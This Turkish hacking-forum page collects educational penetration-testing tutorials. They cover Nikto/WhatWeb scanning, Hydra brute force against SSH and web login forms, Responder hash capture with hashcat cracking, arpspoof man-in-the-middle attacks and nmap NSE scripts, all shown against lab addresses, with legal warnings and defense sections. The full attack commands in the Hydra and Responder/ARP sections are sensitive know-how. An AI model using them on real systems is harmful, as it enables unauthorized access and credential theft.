Yanlış pozitifleri susturmak ile körleşmek arasındaki çizgi incedir. Suppress kuralına gerekçe ve gözden geçirme tarihi yazın. Süresi dolunca yeniden değerlendirin.

Kapsam ve izin hatırlatması
Bu adımları change ticket olmadan production'da uygulamayın. Küçük görünen bir audit ayarı bile uygulama uyumluluğunu bozabilir. Önce staging, sonra kontrollü yayılım.

Yedekleme ve geri dönüş
Yılda en az iki kez masabaşı tatbikatı yapın: 'bu kontrol kırılırsa kim fark eder?' sorusunu sorunsuz cevaplayabilmelisiniz. Tatbikat notlarını wiki'ye ekleyin.

Log saklama süresi
Araç çıktısını ekran görüntüsü olarak bırakmak yerine makinece okunur formatta (JSON/CSV) arşivleyin. İki yıl sonraki denetimde arama kolaylaşır.

Yanlış pozitif yönetimi
Yetki ayrımı: bu kontrolü yapılandıran kişi ile alarmı triaj eden kişi mümkünse farklı olsun. Küçük ekiplerde olmasa bile en azından farklı hesap kullanın.

Değişiklik yönetimi ile ilişki
Sürüüm yükseltmelerinden sonra regresyon testi yapın. 'Aynı config' yeni sürümde farklı varsayılanlara bağlanmış olabilir. Release note'daki breaking change bölümünü okuyun.

Eğitim tatbikatı
Dış bağımlılık (feed, imza seti, konteyner imajı) için bütünlük doğrulaması yapın. İmzasız feed ile gelen kural seti tedarik zinciri riskidir.

Doğrulama senaryosu
Bu konuyla ilgili ek bir kontrol: değişikliği yaptıktan sonra en az bir negatif test ve bir pozitif test tanımlayın. Negatif test 'alarm boşyere düşmemeli', pozitif test 'bilinen kötü örneği yakalamalı' der. İkisini de kaydedin.

Lab disiplini
Ortamlar arasında (lab, staging, production) aynı yapılandırmayı kör kopyalamayın. Adresler, sertifikalar ve kimlikler farklıdır. Şablon kullanın, değerleri envanterden doldurun.

Runbook'a taşımak
İlgili log ve kanıtları olaydan sonra en az kurum politikasının öngördüğü süre kadar saklayın. Disk dolunca en eski güvenlik logunu silmek klasik hatadır; ayrı retention politikası tanımlayın.

Ölçüm ve alarm sağlığı
Yanlış pozitifleri susturmak ile körleşmek arasındaki çizgi incedir. Suppress kuralına gerekçe ve gözden geçirme tarihi yazın. Süresi dolunca yeniden değerlendirin.

Uygulama notu
Bu rehberdeki komutları olduğu gibi kopyalamadan önce yolları, arayüz adlarını ve IP adreslerini kendi ortamınıza göre değiştirin. Dağıtım farkları (Debian/Ubuntu/RHEL/Windows sunucu) çıktı biçimini değiştirebilir; man sayfası ve resmi dokümantasyon birincil kaynaktır. Bir adım beklediğiniz sonucu vermezse önce yetki (sudo/Administrator), sonra sürüm, en son da yapılandırma dosyası sırasıyla bakın. Değişiklikleri geri almak için snapshot veya yapılandırma yönetimi (Ansible/Git) kullanın; 'elle bir dokundum' geçmişi denetimde kaybolur. Alarm ve log örneklerini ekip kanalında paylaşırken kişisel veri ve iç IP şemasını maskeleyin.
Yasal uyarı: Bu içerik eğitim amaçlıdır. Anlatılanları yalnızca kendi sistemlerinizde veya yazılı izin aldığınız sistemlerde uygulayın. Yetkisiz erişim ve sistemlere müdahale 5237 sayılı TCK'nın 243, 244 ve 245. maddeleri kapsamında suçtur.

100-n07-f2fc28.png (Dosya Boyutu: 61.58 KB / İndirme Sayısı: 12)

n07-inner.png (Dosya Boyutu: 19.72 KB / İndirme Sayısı: 11)

Nikto ve WhatWeb ile Web Sunucu Keşfi: Uygulamalı Rehber

Sun, 18 Oct 2026 20:35:31 +0300

Merhaba TurkTeam,

Bir web hedefine karşı iş yapmadan önce "karşımızda ne var?" sorusunu yanıtlamamız gerekir: Hangi web sunucusu, hangi teknolojiler, hangi sürümler, bilinen yanlış yapılandırmalar ve tehlikeli dosyalar? Bu pasif/aktif keşif için iki klasik araç öne çıkar: teknolojileri parmak izinden tanıyan WhatWeb ve web sunucusunu bilinen sorunlara karşı tarayan Nikto. Bu rehberde ikisini birlikte, resmi kullanımlarına sadık kalarak ele alıyoruz.

Konuda Anlatılacaklar

Web sunucu keşfi nedir, neden ilk adımdır
WhatWeb ve Nikto nedir, farkları
Kurulum
WhatWeb parametre referansı ve uygulama
Nikto parametre referansı ve uygulama
Çıktıları yorumlama ve ileri ipuçları
Sonuç, kaynakça ve yasal uyarı

1. Web Sunucu Keşfi Nedir?
Keşif (reconnaissance), hedef hakkında bilgi toplama aşamasıdır ve bir testin kalitesini doğrudan belirler. Web tarafında bu; sunucu yazılımını (Apache, nginx, IIS), uygulama çatısını (WordPress, Laravel, vb.), kullanılan kütüphaneleri, HTTP başlıklarını, çerez yapılandırmasını ve bilinen riskli dosya/dizinleri ortaya çıkarmayı kapsar. Bu bilgi, sonraki adımları (zafiyet araştırması, hedefli testler) yönlendirir.

2. WhatWeb ve Nikto: Farkları
WhatWeb bir "web teknoloji parmak izi" aracıdır: sayfayı alır, başlıkları ve içerik desenlerini 1800'den fazla eklentiyle eşleştirip hangi teknolojilerin kullanıldığını söyler. Düşük agresiflikte neredeyse pasiftir.

Nikto ise bir "web sunucu zafiyet tarayıcısı"dır: sunucuya binlerce istek göndererek bilinen tehlikeli dosyaları, eski sürümleri, yanlış yapılandırılmış başlıkları ve varsayılan içerikleri arar. Nikto gürültülüdür ve loglarda kolayca görünür; bu yüzden izinli test şarttır.

3. Kurulum
Her ikisi de Kali/Parrot depolarında bulunur:

Kod:
sudo apt update
sudo apt install whatweb nikto

Sürümleri doğrulayın:

Kod:
whatweb --version
nikto -Version

4. WhatWeb Parametre Referansı ve Uygulama
Temel kullanım:

Kod:
whatweb http://192.168.56.101

-v - Ayrıntılı çıktı (hangi eklenti neyi eşledi):

Kod:
whatweb -v http://192.168.56.101

-a - Agresiflik düzeyi (1 pasif/stealthy, 3 agresif, 4 ağır):

Kod:
whatweb -a 3 http://192.168.56.101

--log-json / toplu tarama:

Kod:
whatweb --log-json=sonuc.json -i hedefler.txt

Örnek bir çıktı satırı şuna benzer:

Kod:
http://192.168.56.101 [200 OK] Apache[2.2.8], PHP[5.2.4], Country[RESERVED][ZZ], HTTPServer[Apache/2.2.8 (Ubuntu) DAV/2]

Buradan sunucunun eski bir Apache ve PHP sürümü çalıştırdığını tek bakışta görürsünüz; bu, bilinen zafiyet araştırması için değerli bir başlangıçtır.

5. Nikto Parametre Referansı ve Uygulama
-h - Hedef host/URL:

Kod:
nikto -h http://192.168.56.101

-p - Port (birden çok virgülle):

Kod:
nikto -h 192.168.56.101 -p 80,443,8080

-ssl - HTTPS zorlama:

Kod:
nikto -h https://192.168.56.101 -ssl

-Tuning - Belirli test kategorilerini seçme (örn. 1 dosya, 2 yanlış yapılandırma, 9 SQLi):

Kod:
nikto -h http://192.168.56.101 -Tuning 123b

-o / -Format - Rapor çıktısı:

Kod:
nikto -h http://192.168.56.101 -o rapor.html -Format htm

Örnek bir Nikto bulgusu şöyle görünür:

Kod:
+ Server: Apache/2.2.8 (Ubuntu) DAV/2
+ The anti-clickjacking X-Frame-Options header is not present.
+ /phpinfo.php: Output from the phpinfo() function was found.
+ OSVDB-3233: /icons/README: Apache default file found.

Her satır bir gözlemdir: eksik güvenlik başlıkları, bilgi sızdıran phpinfo.php, varsayılan Apache dosyaları gibi. Bunlar doğrudan "açık" olmayabilir ama saldırı yüzeyini ve yanlış yapılandırmaları gösterir.

6. Çıktıları Yorumlama ve İleri İpuçları

Önce WhatWeb, sonra Nikto: Teknolojiyi tanıyın, sonra o teknolojiye uygun Nikto ayarlarıyla derinleşin.
Yanlış pozitifler: Nikto bulgularını körü körüne "zafiyet" saymayın; her satırı manuel doğrulayın. phpinfo.php varlığı gerçek ve ciddidir, ama bazı OSVDB kayıtları bağlama göre geçersiz olabilir.
Gürültü yönetimi: Nikto çok istek üretir; üretim ortamında -Tuning ile kapsamı daraltın ve zamanlamaya dikkat edin.
Proxy ile görünürlük: -useproxy ile Burp üzerinden geçirip istek/yanıtları inceleyebilirsiniz.
Güncel tutun: Nikto'nun veritabanı güncel olmalı; aracı ve imzalarını güncel tutmak bulgu kalitesini artırır.

İki aracın birlikte verdiği tablo, bir sonraki adıma (örneğin dizin keşfi, CMS'e özel tarayıcılar ya da elle test) sağlam bir zemin oluşturur.

7. Savunma Perspektifi
Keşif araçlarının bulduğu çoğu şey aslında savunma eksiğidir. Sunucu sürüm bilgisini gizlemek (ServerTokens Prod), gereksiz varsayılan dosyaları (README, test sayfaları, phpinfo.php) kaldırmak, güvenlik başlıklarını (X-Frame-Options, Content-Security-Policy, X-Content-Type-Options) eklemek ve yazılımları güncel tutmak, bu araçların döndürdüğü bulguların çoğunu ortadan kaldırır. Yani Nikto/WhatWeb çıktısını bir "yapılacaklar listesi" gibi okumak, savunmacı için en verimli yaklaşımdır.

7.1. İki Aracı Bir İş Akışına Oturtmak
Nikto ve WhatWeb'i tek tek öğrenmek kolaydır; asıl ustalık, onları tutarlı bir iş akışına oturtmaktır. Pratikte sıralama şöyle işler: önce hedefin canlı ve hangi portlarda web servisi sunduğunu bir port taramasıyla (örneğin Nmap) teyit edersiniz. Ardından WhatWeb'i düşük agresiflikle çalıştırıp teknolojiyi, sürümleri ve çatıyı tespit edersiniz. Bu bilgi elinizdeyken Nikto'yu daha bilinçli yaparsınız: HTTPS ise -ssl ekler, standart dışı port varsa -p ile belirtir, ilgisiz test kategorilerini -Tuning ile eler ve raporu dosyaya yazdırırsınız.

Bu araçların en büyük tuzağı, çıktıyı olduğu gibi "bulgu" olarak rapora kopyalamaktır. Profesyonel yaklaşım, her satırı bağlamıyla değerlendirmektir. Örneğin eksik bir X-Frame-Options başlığı gerçek ama düşük önemli bir bulgudur; erişilebilir bir phpinfo.php ise sunucu yolunu, yüklü modülleri ve ortam değişkenlerini sızdırdığı için çok daha ciddidir. Eski bir sunucu sürümü ise tek başına bir açık değildir, ancak o sürüme ait bilinen zafiyetleri araştırmanız için güçlü bir ipucudur. İyi bir testçi, aracın söylediğini doğrulayan, önceliklendiren ve etkisini açıklayan kişidir; aracı yalnızca çalıştıran değil.

Son olarak tekrarlanabilirlik için her taramanın komutunu, zamanını ve çıktısını kaydedin. Bir hedefi haftalar sonra yeniden test ettiğinizde, eski WhatWeb ve Nikto raporlarıyla karşılaştırmak, nelerin düzeltildiğini ve nelerin hâlâ açık olduğunu görmenin en hızlı yoludur. Bu alışkanlık, hem denetim kalitenizi hem de müşteriye sunduğunuz değeri belirgin biçimde artırır.

Sonuç
WhatWeb hedefin "ne" olduğunu, Nikto ise "nerede zayıf olabileceğini" hızlıca gösterir. İkisi birlikte, web keşfinin omurgasını oluşturur. Bulguları her zaman elle doğrulayın, gürültüyü yönetin ve sonuçları ya bir sonraki test adımına ya da savunma iyileştirmelerine dönüştürün. Keşif ne kadar iyi olursa, testin geri kalanı o kadar isabetli olur.

Kaynakça

Nikto Resmi Deposu ve Belgeleri - https://github.com/sullo/nikto
Nikto Wiki - https://github.com/sullo/nikto/wiki
WhatWeb Resmi Deposu - https://github.com/urbanadventurer/WhatWeb
Kali Tools: nikto - https://www.kali.org/tools/nikto/
Kali Tools: whatweb - https://www.kali.org/tools/whatweb/

Yasal Uyarı

Alıntı:Web keşif ve tarama araçları yalnızca kendi sistemlerinizde veya yazılı izin aldığınız hedeflerde kullanılmalıdır. İzinsiz tarama Türk Ceza Kanunu 243-245. maddeleri kapsamında suç oluşturabilir.

Yasal uyarı: Bu içerik eğitim amaçlıdır. Yalnızca kendi sistemlerinizde veya yazılı izin aldığınız hedeflerde uygulayın (TCK 243-245).

  000-team-new-88cbb6.png (Dosya Boyutu: 62.08 KB / İndirme Sayısı: 10)

  konu-10-1.png (Dosya Boyutu: 48.61 KB / İndirme Sayısı: 10)

  konu-10-2.png (Dosya Boyutu: 52.03 KB / İndirme Sayısı: 11)

Hydra ile Çevrimiçi Parola Saldırıları: SSH ve HTTP Form Brute Force

Sun, 18 Oct 2026 20:34:12 +0300

Selam TurkTeam,

Parola denetiminin iki ayrı dünyası vardır: çevrimdışı (hash kırma) ve çevrimiçi (canlı servise deneme yapma). Bu rehber çevrimiçi tarafa odaklanıyor ve sektörün en bilinen aracı THC-Hydra ile SSH ve HTTP form tabanlı giriş noktalarına karşı kaba kuvvet/sözlük denemelerini uygulamalı anlatıyor. Tüm örnekler yalnızca kendi lab servislerinizde ve yetkili denetimlerde geçerlidir.

Konuda Anlatılacaklar

Çevrimiçi parola saldırısı nedir, çevrimdışından farkı
Hydra nedir, hangi protokolleri destekler
Lab kurulumu ve kelime listeleri
Hydra parametre referansı
Uygulamalı: SSH ve HTTP POST form denemesi
İleri seviye: oran sınırlama, devam ettirme, savunma
Sonuç, kaynakça ve yasal uyarı

1. Çevrimiçi vs Çevrimdışı
Çevrimdışı saldırıda elinizde bir hash vardır ve onu yerelde, hedefle konuşmadan kırarsınız (John/Hashcat). Çevrimiçi saldırıda ise canlı bir servise (SSH, FTP, bir web giriş formu) gerçek giriş denemeleri gönderirsiniz. Çevrimiçi saldırılar çok daha yavaştır, ağ gecikmesine bağlıdır ve tespit edilebilir: başarısız girişler loglanır, hesap kilitleme ve oran sınırlama tetiklenir. Bu yüzden gerçek denetimlerde dikkatli, hedefli ve izinli yapılmalıdır.

2. Hydra Nedir?
THC-Hydra, çok sayıda protokole (ssh, ftp, http-get/post-form, smb, rdp, mysql ve daha fazlası) paralel giriş denemesi yapabilen hızlı bir çevrimiçi parola denetim aracıdır. Paralelliği sayesinde tek tek denemeye göre çok daha verimlidir, ancak bu aynı zamanda hedefe yük bindirir; eşzamanlılığı bilinçli ayarlamak gerekir.

3. Lab Kurulumu ve Wordlist'ler

Kod:
sudo apt update
sudo apt install hydra seclists

Pratik için kendi makinenizde bir SSH servisi ve bilinen bir test kullanıcısı kurabilir, ya da Metasploitable2 gibi izole bir lab hedefi kullanabilirsiniz. Kullanıcı ve parola listeleri:

Kod:
ls /usr/share/seclists/Usernames/
ls /usr/share/seclists/Passwords/
# klasik parola listesi
ls -l /usr/share/wordlists/rockyou.txt*

4. Hydra Parametre Referansı
-l / -L - Tek kullanıcı / kullanıcı listesi:

Kod:
hydra -l admin ...
hydra -L kullanicilar.txt ...

-p / -P - Tek parola / parola listesi:

Kod:
hydra -P /usr/share/wordlists/rockyou.txt ...

-t - Paralel görev sayısı (varsayılan 16; SSH için düşürmek gerekebilir):

Kod:
hydra -t 4 ...

-s - Standart dışı port:

Kod:
hydra -s 2222 ...

-f - İlk geçerli kimlik bulununca dur; -V her denemeyi göster:

Kod:
hydra -f -V ...

-o - Sonuçları dosyaya yaz:

Kod:
hydra -o bulgu.txt ...

5. Uygulamalı Adımlar
Adım 1 - SSH sözlük denemesi. Bilinen bir kullanıcı için parola listesi deneyin (yalnızca kendi lab hedefinizde):

Kod:
hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt -t 4 -f -V ssh://192.168.56.101

SSH el sıkışması pahalı olduğu için -t değerini düşük (4 civarı) tutmak daha kararlı sonuç verir. Hydra parolayı bulunca şuna benzer bir satır yazar:

Kod:
[22][ssh] host: 192.168.56.101   login: msfadmin   password: msfadmin

Adım 2 - HTTP POST form denemesi. Web giriş formlarında http-post-form modülü kullanılır. Üç alanı iki nokta ile ayırırsınız: yol:POST gövdesi:başarısızlık işareti. ^USER^ ve ^PASS^ yer tutucularını Hydra doldurur:

Kod:
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.56.101 \
  http-post-form "/login.php:username=^USER^&password=^PASS^:F=Login failed"

Buradaki F=Login failed, yanıtta bu metin varsa denemenin başarısız sayılacağını belirtir. Doğru metni bulmak için önce tarayıcıda hatalı bir giriş yapıp sunucunun döndürdüğü hata ifadesini (örn. "Invalid credentials") not edin. Alternatif olarak başarı koşulu için S= kullanılabilir.

Adım 3 - Gövde ve çerez detayları. Form bir CSRF token veya oturum çerezi istiyorsa, POST gövdesine ilgili alanı ekler ve C=/çerez seçeneğiyle çerezi geçirirsiniz. Doğru POST alan adlarını tarayıcı geliştirici araçlarının "Network" sekmesinden teyit edin; yanlış alan adı tüm denemeleri boşa çıkarır.

6. İleri Seviye ve Savunma

Eşzamanlılık ve gecikme: Hesap kilitleme ve tespit riskini azaltmak için -t değerini düşürün; bazı modüllerde denemeler arası bekleme için -W / -c seçenekleri yardımcı olur.
Hedefli liste: Devasa listeler yerine, keşifte toplanan bağlama uygun (kurum adı, yıl, sızıntı listeleri) küçük ve akıllı listeler çok daha etkilidir.
Birden çok hedef: -M dosya ile birden çok host'u aynı anda test edebilirsiniz.

Savunma tarafı: Çevrimiçi kaba kuvvete karşı en etkili önlemler; güçlü ve benzersiz parolalar, çok faktörlü kimlik doğrulama (MFA), başarısız giriş sınırlama (fail2ban gibi), hesap kilitleme politikaları ve SSH'te parola yerine anahtar tabanlı kimlik doğrulamadır. Bu önlemler devrede olduğunda Hydra tipi saldırılar pratik olarak işe yaramaz hale gelir; bu yüzden denetimin asıl değeri bu kontrollerin eksikliğini ortaya koymaktır.

6.1. Neden Çoğu Çevrimiçi Saldırı Başarısız Olur?
Yeni başlayanlar sık sık "Hydra'yı rockyou ile çalıştırdım ama hiçbir şey bulamadım" der. Bunun nedeni genellikle aracın değil, yöntemin yanlış olmasıdır. Çevrimiçi saldırıda milyonlarca parolayı denemek pratikte imkansızdır: her deneme bir ağ turu ve sunucu yanıtı gerektirir, SSH gibi protokollerde el sıkışma pahalıdır ve saniyede yalnızca birkaç deneme yapabilirsiniz. Üstelik modern sistemler fail2ban, hesap kilitleme veya oran sınırlama ile kısa sürede IP'nizi engeller. Dolayısıyla "listeyi büyüt" yaklaşımı değil, "listeyi akıllı seç" yaklaşımı kazandırır.

Profesyonel bir denetimde doğru sıralama şudur: önce keşif (hangi kullanıcı adları gerçekten var, kurumun parola politikası ne, sızıntı veritabanlarında bu kuruma ait kimlik var mı), sonra bu bağlama göre küçük ve hedefli bir liste, en sonunda düşük eşzamanlılıkla dikkatli bir deneme. Çoğu zaman tek bir zayıf veya varsayılan parola (admin/admin, root/toor, kurum adı + yıl gibi) tüm kapıyı açar; dev listeler ise yalnızca gürültü üretir ve sizi engelletir.

Bir diğer sık hata, HTTP form modülünde yanlış "başarısızlık işareti" belirlemektir. F= ile verdiğiniz metin yanıtta her zaman görünüyorsa Hydra hiçbir denemeyi başarılı saymaz; hiç görünmüyorsa her denemeyi başarılı sanır. Bu yüzden önce elle bir hatalı ve bir doğru giriş yapıp yanıtların farkını net görmek, modülü doğru kurmanın anahtarıdır.

Sonuç
Hydra, çevrimiçi parola denetiminde hızlı ve esnek bir araçtır; gücü protokol çeşitliliği ve paralelliğinde yatar. Ancak çevrimiçi saldırılar gürültülü ve tespit edilebilirdir; başarı büyük ölçüde doğru kullanıcı/parola listesi ve doğru modül yapılandırmasına bağlıdır. Her zaman yetki dahilinde, hedefi yormadan ve bulguları savunma önerilerine (MFA, anahtar tabanlı giriş, fail2ban) dönüştürerek çalışın.

Kaynakça

THC-Hydra Resmi Deposu - https://github.com/vanhauser-thc/thc-hydra
Kali Tools: hydra - https://www.kali.org/tools/hydra/
man hydra (yerel man sayfası)
SecLists - https://github.com/danielmiessler/SecLists
OWASP: Blocking Brute Force Attacks - https://owasp.org/www-community/controls...ce_Attacks

Yasal Uyarı

Alıntı:Çevrimiçi parola denemeleri yalnızca kendi sistemlerinizde veya yazılı izin aldığınız hedeflerde yapılmalıdır. İzinsiz giriş denemeleri Türk Ceza Kanunu 243-245. maddeleri kapsamında suçtur.

Yasal uyarı: Bu içerik eğitim amaçlıdır. Yalnızca kendi sistemlerinizde veya yazılı izin aldığınız hedeflerde uygulayın (TCK 243-245).

  000-team-new-8845db.png (Dosya Boyutu: 58.09 KB / İndirme Sayısı: 8)

  konu-09-1.png (Dosya Boyutu: 61.25 KB / İndirme Sayısı: 9)

  konu-09-2.png (Dosya Boyutu: 54.37 KB / İndirme Sayısı: 8)

Responder ve ARP Spoofing Temelleri: Yerel Ağda MITM (Yasal Lab)

Sun, 18 Oct 2026 11:41:23 +0300

Selam TurkTeam,

Yerel ağlar (LAN), çoğu zaman güvenliğin en zayıf olduğu yerlerdir. Katman 2 protokollerindeki zayıflıklar, bir saldırganın trafiği kendine yönlendirmesine (ortadaki adam / MITM) veya kimlik bilgilerini toplamasına izin verebilir. Bu rehberde iki klasik tekniği, isim çözümleme zehirleme için Responder ve ARP tablosu zehirleme için arpspoof, SADECE kendi izole lab ağınızda anlatıyoruz. Amaç, saldırıyı anlamak ve ona karşı savunmayı kurmaktır.

Konuda Anlatılacaklar

MITM, ARP ve LLMNR/NBT-NS nedir
Yasal ve izole lab kurulumu
Responder ile isim çözümleme zehirleme
Yakalanan NTLMv2 hash'lerini inceleme
arpspoof ile ARP zehirleme temelleri
Savunma: zehirlemeyi durduran kontroller
Sonuç, kaynakça ve yasal uyarı

1. Temel Kavramlar
MITM (ortadaki adam), saldırganın iki taraf arasındaki trafiğin akışına girmesidir. Yerel ağda bunu başarmanın iki yaygın yolu vardır:

ARP zehirleme: ARP, IP adreslerini MAC adreslerine eşler ve kimlik doğrulaması yoktur. Saldırgan sahte ARP yanıtlarıyla "ağ geçidi benim" diyerek kurbanın trafiğini kendi üzerinden geçirtebilir.
İsim çözümleme zehirleme (LLMNR/NBT-NS/mDNS): Windows, DNS başarısız olduğunda bu yayın tabanlı protokollerle "bu isim kimde?" diye sorar. Responder bu yayınlara "bende" diye yanıt verip kurbanı kendine kimlik doğrulamaya zorlar ve NTLMv2 hash'ini yakalar.

2. Yasal ve İzole Lab Kurulumu
Bu teknikler yalnızca tamamen izole, size ait bir lab ağında denenmelidir. Ne kurumsal ne de paylaşılan bir ağda çalıştırın; MITM tüm ağı etkiler ve yasa dışıdır. İdeal kurulum: bir sanal ağ (Host-Only/Internal) üzerinde bir Kali (saldırgan) ve bir veya iki hedef VM (ör. bir Windows test makinesi).

Kod:
sudo apt update
sudo apt install responder dsniff

Arayüzünüzü doğrulayın:

Kod:
ip a

3. Responder ile İsim Çözümleme Zehirleme
Responder, LLMNR, NBT-NS ve mDNS yayınlarına yanıt vererek sahte servisler (SMB, HTTP vb.) sunar ve kimlik doğrulama girişimlerini yakalar.
-I - Dinlenecek arayüz; -A - analiz modu (zehirlemeden yalnızca izler, keşif için idealdir):

Kod:
sudo responder -I eth0 -A

Analizle ağı anladıktan sonra, lab'da aktif modda çalıştırırsınız:

Kod:
sudo responder -I eth0

Responder açılışta hangi sahte sunucuların (SMB, HTTP, MSSQL...) etkin olduğunu listeler ve zehirleme yanıtlarını canlı gösterir.

Hangi sahte sunucuların açık olacağını yapılandırma dosyasından ayarlayabilirsiniz (örneğin yalnızca belirli servisleri açmak için):

Kod:
sudo nano /etc/responder/Responder.conf

Bir lab kurbanı var olmayan bir paylaşıma (örn. yanlış yazılmış \\suncu) erişmeye çalıştığında, Responder bu isteği yakalar ve istemciyi kimlik doğrulamaya zorlayarak NTLMv2 hash'ini elde eder.

4. Yakalanan Hash'leri İnceleme
Responder, yakaladığı hash'leri hem ekranda gösterir hem de log dizinine kaydeder (genelde /usr/share/responder/logs/):

Kod:
ls /usr/share/responder/logs/
cat /usr/share/responder/logs/SMB-NTLMv2-SSP-192.168.56.50.txt

Yakalanan kayıt, "kullanici:OMAIN:challenge:response..." biçiminde bir NTLMv2 hash'idir. Bu hash, çevrimdışı olarak kırılmaya çalışılabilir (yalnızca lab verinizde):

Kod:
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

Burada -m 5600 Hashcat'in NTLMv2 modudur. Bu, zayıf parolaların yerel ağda ne kadar kolay ifşa olabileceğini somut biçimde gösterir.

5. arpspoof ile ARP Zehirleme Temelleri
Trafiği üzerinizden geçirmeden önce yönlendirmeyi açın; aksi halde kurbanın bağlantısı kesilir (hizmet reddi):

Kod:
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward

dsniff paketindeki arpspoof ile hem kurbana hem ağ geçidine sahte ARP yanıtları gönderin (iki yönlü):

Kod:
# Kurbana: "ağ geçidi benim"
sudo arpspoof -i eth0 -t 192.168.56.50 192.168.56.1
# Ağ geçidine: "kurban benim" (ikinci terminalde)
sudo arpspoof -i eth0 -t 192.168.56.1 192.168.56.50

Artık trafik sizin üzerinizden akar. Bunu bir lab'da gözlemlemek için kendi analiz aracınızla (ör. tcpdump/Wireshark) akışı izleyebilirsiniz. Kurban makinede ARP önbelleğini inceleyerek etkiyi doğrulayabilirsiniz:

Kod:
arp -a

Saldırgan tarafında üzerinizden geçen trafiği gözlemlemek için (yalnızca lab):

Kod:
sudo tcpdump -i eth0 -n host 192.168.56.50

Kurbanın ARP tablosunda ağ geçidi MAC'inin sizin MAC'inizle değiştiğini görmek, tekniğin çalıştığını doğrular.

Önemli: İş bittiğinde zehirlemeyi durdurun (arpspoof'u Ctrl+C ile kapatın); araç çıkışta doğru ARP kayıtlarını geri göndermeye çalışır. ip_forward'ı da eski haline alın.

6. Savunma: Zehirlemeyi Durduran Kontroller
Bu teknikleri öğrenmenin asıl amacı savunmadır. Etkili önlemler:

LLMNR/NBT-NS/mDNS kapatma: Kurumsal ağlarda bu eski protokolleri Group Policy ile devre dışı bırakmak, Responder saldırılarının çoğunu etkisiz kılar.
SMB imzalama (signing) zorunlu: NTLM relay saldırılarını kırar ve yakalanan hash'lerin yeniden kullanımını zorlaştırır.
Dynamic ARP Inspection (DAI) ve DHCP Snooping: Yönetilebilir anahtarlarda sahte ARP yanıtlarını engeller.
Port security ve 802.1X: Yetkisiz cihazların ağa katılmasını sınırlar.
Güçlü parola ve MFA: Hash yakalansa bile kırılmasını pratikte imkansız kılar.

7. İleri Seviye Not
Modern testlerde Responder genellikle NTLM relay araçlarıyla (ör. Impacket'in ntlmrelayx betiği) birlikte kullanılır: yakalanan kimlik doğrulama, kırılmadan doğrudan başka bir hedefe "aktarılır". ARP/MITM için ise bettercap, modüler yapısıyla arpspoof'a göre daha kapsamlı bir alternatiftir. Bu ileri senaryolar da yalnızca izole lab ve yetkili testler içindir; mantığı anlamak, savunma kontrollerini doğru konumlandırmanıza yardımcı olur.

Sonuç
Responder ve ARP zehirleme, yerel ağ katmanının neden dikkatle korunması gerektiğini çarpıcı biçimde gösterir: kimlik doğrulaması olmayan protokoller, bir saldırgana trafik yönlendirme ve kimlik toplama fırsatı verir. Bu teknikleri yalnızca kendi izole lab'ınızda deneyin, her denemeden sonra ortamı temiz bırakın ve öğrendiklerinizi doğrudan savunma kontrollerine (LLMNR kapatma, SMB imzalama, DAI) dönüştürün.

Kaynakça

Responder Resmi Deposu - https://github.com/lgandx/Responder
Kali Tools: responder - https://www.kali.org/tools/responder/
dsniff / arpspoof - https://www.kali.org/tools/dsniff/
Hashcat Örnek Hash Türleri (NTLMv2 -m 5600) - https://hashcat.net/wiki/doku.php?id=example_hashes
MITRE ATT&CK - Adversary-in-the-Middle (T1557) - https://attack.mitre.org/techniques/T1557/

Yasal Uyarı

Alıntı:MITM, ARP zehirleme ve isim çözümleme zehirleme teknikleri tüm yerel ağı etkiler ve SADECE kendinize ait, izole bir lab ağında denenmelidir. İzinsiz uygulanması Türk Ceza Kanunu 243-245. maddeleri kapsamında ağır suçtur; başkasının trafiğine müdahale ve kimlik bilgisi ele geçirme kesinlikle yasaktır.

Yasal uyarı: Bu içerik eğitim amaçlıdır. Yalnızca kendi sistemlerinizde veya yazılı izin aldığınız hedeflerde uygulayın (TCK 243-245).

000-team-gb-konu-15.png (Dosya Boyutu: 65.32 KB / İndirme Sayısı: 7)

nmap NSE Scriptleri: http-enum, smb-os-discovery ve Kendi Lab Notlarım

Sun, 18 Oct 2026 11:19:18 +0300

Arkadaşlar selam,

nmap'i herkes port taramak için kullanıyor ama asıl gücü NSE (Nmap Scripting Engine) tarafında. Bu yazıda lab ortamında en sık kullandığım birkaç scripti, nasıl seçildiğini ve çıktıyı nasıl okuduğumu anlatacağım. Hedef: kendi Metasploitable2 / DVWA labım. Başkasının sisteminde izinsiz script çalıştırmayın; bazı scriptler agresif trafik üretir.

NSE'ye hızlı bakış
Scriptler kategorilere ayrılır: auth, broadcast, brute, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version, vuln. safe ve default günlük keşif için; intrusive / brute / exploit yalnızca yazılı izinli pentest kapsamında.

Kurulu scriptleri görmek:

Kod:
ls /usr/share/nmap/scripts | head
nmap --script-help http-enum

http-enum: web dizin ve dosya keşfi

Kod:
nmap -p 80,443 --script http-enum 10.10.10.50

Bu script bilinen yolları (admin panelleri, yedek dosyalar, .git kalıntıları vb.) dener. Gobuster/ffuf kadar kapsamlı wordlist kullanmaz; hızlı sinyal için iyidir. Lab çıktısı kabaca şöyle görünür:

Dikkat: http-enum varsayılan olarak bazı yolları dener; WAF veya rate-limit varsa gürültü çıkar. Pentest raporunda "discovery" bulgusu olarak not düşmek için yeterlidir; derin fuzzing için ffuf'a geçin.

Daha kontrollü kullanım:

Kod:
nmap -p 80 --script http-enum --script-args http-enum.displayall 10.10.10.50

smb-os-discovery: SMB üzerinden OS ve alan bilgisi
Windows / Samba hedeflerinde:

Kod:
nmap -p 445 --script smb-os-discovery 10.10.10.20

Çıktıda işletim sistemi, bilgisayar adı, çalışma grubu / domain, bazen forest bilgisi gelir. Bu bilgi later hareket planını etkiler: domain üyesi bir makine ile iş grubu makinesi aynı değildir.

SMB imza zorunluluğunu da kontrol etmek isterseniz:

Kod:
nmap -p 445 --script smb2-security-mode 10.10.10.20

"Message signing enabled but not required" satırı mavi takım için düzeltilmesi gereken bir bulgudur.

Birkaç scripti birlikte çalıştırmak

Kod:
nmap -sV -p 80,443,445 --script "default and safe" 10.10.10.0/28

and safe ifadesi default kategorisinden yalnızca güvenli olanları seçer. Büyük alt ağlarda önce host discovery, sonra dar port listesi, en son script sırasını tercih ederim; aksi halde tarama saatler sürer ve logları kirletirsiniz.

vuln kategorisi: dikkatli kullanın

Kod:
nmap -p 443 --script vuln 10.10.10.50

